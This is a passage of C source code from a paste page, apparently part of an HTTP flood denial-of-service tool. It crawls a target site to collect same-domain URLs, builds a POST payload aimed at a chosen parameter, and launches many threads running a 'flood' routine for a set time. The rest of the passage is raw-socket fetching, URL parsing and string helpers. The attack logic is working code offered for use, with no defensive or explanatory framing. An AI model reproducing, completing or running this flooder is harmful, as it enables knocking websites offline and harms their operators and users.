  724. } else if(strchr(hrefstart, '\'')!=NULL && strchr(hrefstart, '>') > strchr(hrefstart, '\''))
  725. {
  726. hrefstart = strchr(hrefstart, '\'')+1;
  727. hreftarget = malloc(strchr(hrefstart, '\'') - hrefstart + 1);
  728. bzero(hreftarget, strchr(hrefstart, '\'') - hrefstart + 1);
  729. strncpy(hreftarget, hrefstart, strchr(hrefstart, '\'') - hrefstart);
  730. } else {
  731. char *end = NULL;
  732. if(strchr(hrefstart, ' ') > strchr(hrefstart, '>'))
  733. {
  734. end = strchr(hrefstart, '>');
  735. } else {
  736. end = strchr(hrefstart, ' ');
  737. }
  738. hreftarget = malloc(end - hrefstart + 1);
  739. bzero(hreftarget, end - hrefstart + 1);
  740. strncpy(hreftarget, hrefstart, end - hrefstart);
  741. }
  742. if(strcmp(hreftarget, "#") == 0 || stristr(hreftarget, "javascript:") != NULL)
  743. {
  744. free(hreftarget);
  745. continue;
  746. }
  747. char *scrapenext;
  748. setupparts();
  749. parseURL(hreftarget, returnparts);
  750. if(!(*(returnparts[path]->value)))
  751. {
  752. freeparts();
  753. continue;
  754. }
  755. if(*(returnparts[host]->value))
  756. {
  757. if(strcmp(returnparts[host]->value, original_domain) != 0)
  758. {
  759. freeparts();
  760. continue;
  761. }
  762. scrapenext = hreftarget;
  763. } else {
  764. scrapenext = malloc(7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  765. bzero(scrapenext, 7 + strlen(original_domain) + 1 + strlen(returnparts[path]->value) + 1);
  766. strcpy(scrapenext, "http://");
  767. strcpy(scrapenext + 7, original_domain);
  768. strcpy(scrapenext + 7 + strlen(original_domain), "/");
  769. strcpy(scrapenext + 7 + strlen(original_domain) + 1, returnparts[path]->value);
  770. char *tmp = malloc(strlen(original_domain)+2);
  771. bzero(tmp, strlen(original_domain)+2);
  772. sprintf(tmp, "%s/", original_domain);
  773. char *tmp2 = malloc(strlen(original_domain)+3);
  774. bzero(tmp2, strlen(original_domain)+3);
  775. sprintf(tmp2, "%s//", original_domain);
  776. char *scrapenext_tmp = str_replace(scrapenext, tmp2, tmp);
  777. if(scrapenext_tmp != NULL)
  778. {
  779. free(scrapenext);
  780. scrapenext = scrapenext_tmp;
  781. }
  782. free(tmp);
  783. free(tmp2);
  784. }
  785. freeparts();
  786. int alreadyadded = 0;
  787. if(headurl->next == headurl)
  788. {
  789. if(strcmp(headurl->url, scrapenext) == 0)
  790. {
  791. alreadyadded = 1;
  792. }
  793. } else {
  794. struct urllist *dup = headurl->next;
  795. while(dup != headurl)
  796. {
  797. if(dup->url == NULL)
  798. {
  799. dup->prev->next = dup->next;
  800. dup->next->prev = dup->prev;
  801. dup = dup->next;
  802. continue;
  803. }
  804. if(strcmp(dup->url, scrapenext) == 0)
  805. {
  806. alreadyadded = 1;
  807. break;
  808. }
  809. dup = dup->next;
  810. }
  811. }
  812. if(alreadyadded == 0)
  813. {
  814. struct urllist *newurl = malloc(sizeof(struct urllist));
  815. bzero(newurl, sizeof(struct urllist));
  816. newurl->url = scrapenext;
  817. newurl->done = 0;
  818. newurl->next = headurl->next;
  819. newurl->prev = headurl;
  820. headurl->next = newurl;
  821. }
  822. }
  823. headurl->done = 1;
  824. headurl = headurl->next;
  825. free(headerstatus);
  826. free(buffer);
  827. }
  828. END:
  829. free(original_domain);
  830. } else {
  831. freeparts();
  832. }
  833. setupparts();
  834. parseURL(targeturl, returnparts);
  835. pthread_t thread[num_threads];
  836. struct list *td[num_threads];
  837. struct list *node = head->next;
  838.  
  839.  
  840. for(i=0;i<num_threads;i++)
  841. {
  842. td[i] = node;
  843. node = node->next;
  844. }
  845. postpayload = malloc(4096);
  846. sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value, targetparameter);
  847. freeparts();
  848.  
  849. //fprintf(stdout, "Starting Flood...\n");
  850.  
  851. fnAttackInformation(atoi(argv[argc-1]));
  852.  
  853. for(i = 0;i<num_threads;i++){
  854. pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
  855. }
  856. sleep(atoi(argv[5]));
  857. return 0;
  858. }
  859. char *geturl(char *url, char *useragent, char *ip)
  860. {
  861. RETRY:
  862. setupparts();
  863. parseURL(url, returnparts);
  864. struct sockaddr_in serverAddr;
  865. bzero(&serverAddr, sizeof(serverAddr));
  866. serverAddr.sin_family = AF_INET;
  867. serverAddr.sin_port = htons(ATTACKPORT);
  868. serverAddr.sin_addr.s_addr = inet_addr(ip);
  869. int serverSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  870. unsigned int yes = 1;
  871. setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes));
  872. if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  873. {
  874. printf("GETURL CONNECT FAILED, RETRYING\n");
  875. close(serverSocket);
  876. freeparts();
  877. goto RETRY;
  878. }
  879. int bytes = 0;
  880. char *payload = malloc(8094);
  881. bzero(payload, 8094);
  882. sprintf(payload, "GET /%s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\nUser-Agent: %s\r\n\r\n", returnparts[path]->value, returnparts[host]->value, useragent);
  883. freeparts();
  884. bytes = send(serverSocket, payload, strlen(payload), MSG_NOSIGNAL);
  885. if(bytes == -1)
  886. {
  887. printf("GETURL SEND FAILED, SITE CLOSED CONNECTION, RETRYING\n");
  888. close(serverSocket);
  889. goto RETRY;
  890. }
  891. int total = 0;
  892. int currentsize = 4096;
  893. char *buffer = malloc(4096);
  894. bzero(buffer, 4096);
  895. bytes = recv(serverSocket, buffer, 4096, 0);
  896. while(bytes > 0)
  897. {
  898. total += bytes;
  899. if(total+4096 > currentsize)
  900. {
  901. char *new_buffer = malloc(total+4096);
  902. bzero(new_buffer, total+4096);
  903. memcpy(new_buffer, buffer, total);
  904. free(buffer);
  905. buffer = new_buffer;
  906. currentsize = total+4096;
  907. }
  908. bytes = recv(serverSocket, buffer+total, 4096, 0);
  909. }
  910. return buffer;
  911. }
  912. void freeparts()
  913. {
  914. return;
  915. if(returnparts[0]!=NULL) { free(returnparts[0]); }
  916. if(returnparts[1]!=NULL) { free(returnparts[1]); }
  917. if(returnparts[2]!=NULL) { free(returnparts[2]); }
  918. if(returnparts[3]!=NULL) { free(returnparts[3]); }
  919. if(returnparts[4]!=NULL) { free(returnparts[4]); }
  920. if(returnparts[5]!=NULL) { free(returnparts[5]); }
  921. if(returnparts[6]!=NULL) { free(returnparts[6]); }
  922. if(returnparts[7]!=NULL) { free(returnparts[7]); }
  923. if(returnparts[8]!=NULL) { free(returnparts[8]); }
  924. return;
  925. }
  926. void setupparts()
  927. {
  928. returnparts[0] = malloc(sizeof(struct urlparts));
  929. returnparts[1] = malloc(sizeof(struct urlparts));
  930. returnparts[2] = malloc(sizeof(struct urlparts));
  931. returnparts[3] = malloc(sizeof(struct urlparts));
  932. returnparts[4] = malloc(sizeof(struct urlparts));
  933. returnparts[5] = malloc(sizeof(struct urlparts));
  934. returnparts[6] = malloc(sizeof(struct urlparts));
  935. returnparts[7] = malloc(sizeof(struct urlparts));
  936. returnparts[8] = malloc(sizeof(struct urlparts));
  937. bzero(returnparts[0], sizeof(struct urlparts));
  938. bzero(returnparts[1], sizeof(struct urlparts));
  939. bzero(returnparts[2], sizeof(struct urlparts));
  940. bzero(returnparts[3], sizeof(struct urlparts));
  941. bzero(returnparts[4], sizeof(struct urlparts));
  942. bzero(returnparts[5], sizeof(struct urlparts));
  943. bzero(returnparts[6], sizeof(struct urlparts));
  944. bzero(returnparts[7], sizeof(struct urlparts));
  945. bzero(returnparts[8], sizeof(struct urlparts));
  946. returnparts[0]->name = "scheme";
  947. strcpy(returnparts[0]->separator, ":");
  948. returnparts[1]->name = "userid";
  949. strcpy(returnparts[1]->separator, "@");
  950. returnparts[2]->name = "password";
  951. strcpy(returnparts[2]->separator, ":");
  952. returnparts[3]->name = "host";
  953. strcpy(returnparts[3]->separator, "//");
  954. returnparts[4]->name = "port";
  955. strcpy(returnparts[4]->separator, ":");
  956. returnparts[5]->name = "path";
  957. strcpy(returnparts[5]->separator, "/");
  958. returnparts[6]->name = "param";
  959. strcpy(returnparts[6]->separator, ";");
  960. returnparts[7]->name = "query";
  961. strcpy(returnparts[7]->separator, "?");
  962. returnparts[8]->name = "fragment";
  963. strcpy(returnparts[8]->separator, "#");
  964. return;
  965. }
  966. int parseURL(char *url, struct urlparts **returnpart) {
  967. register i;
  968. int seplen;
  969. char * remainder;
  970. char * regall = ":/;?#";
  971. char * regpath = ":;?#";
  972. char * regx;
  973. if(!*url)
  974. {
  975. strcpy(parseError, "nothing to do!\n");
  976. return 0;
  977. }
  978. if((remainder = malloc(strlen(url) + 1)) == NULL)
  979. {
  980. printf("cannot allocate memory\n");
  981. exit(-1);
  982. }
  983. strcpy(remainder, url);
  984. if(firstpunc(remainder) == ':')
  985. {
  986. strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  987. strleft(remainder, 1);
  988. }
  989. if (!strcmp(returnpart[scheme]->value, "mailto"))
  990. *(returnpart[host]->separator) = 0;
  991. for(i = 0; i < NUMPARTS; i++)
  992. {
  993. if(!*remainder)
  994. break;
  995. if(i == scheme || i == userid || i == password)
  996. continue;
  997. if(i == host && strchr(remainder, '@'))
  998. {
  999. if(!strncmp(remainder, "//", 2))
  1000. strleft(remainder, 2);
  1001. strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  1002. strleft(remainder, 1);
  1003. if(strchr(remainder, '@'))
  1004. {
  1005. strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  1006. strleft(remainder, 1);
  1007. }
  1008. *(returnpart[host]->separator) = 0;
  1009. }
  1010. if(i == path && (! *(returnpart[scheme]->value)))
  1011. {
  1012. *(returnpart[path]->separator) = 0;
  1013. strcpy(returnpart[scheme]->value, "http");
  1014. }
  1015. regx = (i == path) ? regpath : regall ;
  1016. seplen = strlen(returnpart[i]->separator);
  1017. if(strncmp(remainder, returnpart[i]->separator, seplen))
  1018. continue;
  1019. else
  1020. strleft(remainder, seplen);
  1021. strcpy(returnpart[i]->value, strsplit(remainder, regx));
  1022. }
  1023. if(*remainder)
  1024. sprintf(parseError, "I don't understand '%s'", remainder);
  1025. free(remainder);
  1026. return 0;
  1027. }
  1028. char *str_replace(char *orig, char *rep, char *with) {
  1029. char *result;
  1030. char *ins;
  1031. char *tmp;
  1032. int len_rep;
  1033. int len_with;
  1034. int len_front;
  1035. int count;
  1036. if (!orig)
  1037. return NULL;
  1038. if (!rep || !(len_rep = strlen(rep)))
  1039. return NULL;
  1040. if (!(ins = strstr(orig, rep)))
  1041. return NULL;
  1042. if (!with)
  1043. with = "";
  1044. len_with = strlen(with);
  1045. for (count = 0; tmp = strstr(ins, rep); ++count) {
  1046. ins = tmp + len_rep;
  1047. }
  1048. tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  1049. if (!result)
  1050. return NULL;
  1051. while (count--) {
  1052. ins = strstr(orig, rep);
  1053. len_front = ins - orig;
  1054. tmp = strncpy(tmp, orig, len_front) + len_front;
  1055. tmp = strcpy(tmp, with) + len_with;
  1056. orig += len_front + len_rep;
  1057. }
  1058. strcpy(tmp, orig);
  1059. return result;
  1060. }
  1061. char *stristr(const char *String, const char *Pattern)
  1062. {
  1063. char *pptr, *sptr, *start;
  1064. uint slen, plen;
  1065. for (start = (char *)String,
  1066. pptr = (char *)Pattern,
  1067. slen = strlen(String),
  1068. plen = strlen(Pattern);
  1069. slen >= plen;
  1070. start++, slen--)
  1071. {
  1072.  
  1073. while (toupper(*start) != toupper(*Pattern))
  1074. {
  1075. start++;
  1076. slen--;
  1077.  
  1078. if (slen < plen)
  1079. return(NULL);
  1080. }
  1081. sptr = start;
  1082. pptr = (char *)Pattern;
  1083. while (toupper(*sptr) == toupper(*pptr))
  1084. {
  1085. sptr++;
  1086. pptr++;
  1087.  
  1088. if ('\0' == *pptr)
  1089. return (start);
  1090. }
  1091. }
  1092. return(NULL);
  1093. }
  1094. char * strsplit(char * s, char * tok) {
  1095. #define OUTLEN (255)
  1096. register i, j;
  1097. static char out[OUTLEN + 1];
  1098. for(i = 0; s[i] && i < OUTLEN; i++)
  1099. {
  1100. if(strchr(tok, s[i]))
  1101. break;
  1102. else
  1103. out[i] = s[i];
  1104. }
  1105. out[i] = 0;
  1106. if(i && s[i])
  1107. {
  1108. for(j = 0; s[i]; i++, j++) s[j] = s[i];
  1109. s[j] = 0;
  1110. }
  1111. else if (!s[i])
  1112. *s = 0;
  1113. return out;
  1114. }
  1115. char firstpunc(char * s) {
  1116. while(*s++)
  1117. if(!isalnum(*s)) return *s;
  1118. return 0;
  1119. }
  1120. int strleft(char * s, int n) {
  1121. int l;
  1122. l = strlen(s);
  1123. if(l < n)
  1124. return -1;
  1125. else if (l == n)
  1126. *s = 0;
  1127. memmove(s, s + n, l - n + 1);
  1128. return n;
  1129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement